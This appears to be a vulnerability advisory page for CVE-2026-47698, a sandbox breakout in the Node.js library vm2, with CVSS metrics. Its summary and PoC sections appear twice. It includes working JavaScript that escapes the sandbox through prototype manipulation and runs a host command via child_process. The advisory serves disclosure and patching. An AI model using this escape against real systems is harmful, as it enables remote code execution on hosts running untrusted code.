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CVE-2026-47698NVD
Vulnerability Summary
### Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.
### PoC
```js
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));
```
### Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
### Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing `indirectcall.call(dangerousmutator, ...)` with `indirectcall.call(indirectcall, dangerousmutator, ...)` since indirect calls are not seen as dangerous.
### PoC
```js
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));
```
### Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
CVSS v3.1 Base Metrics
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh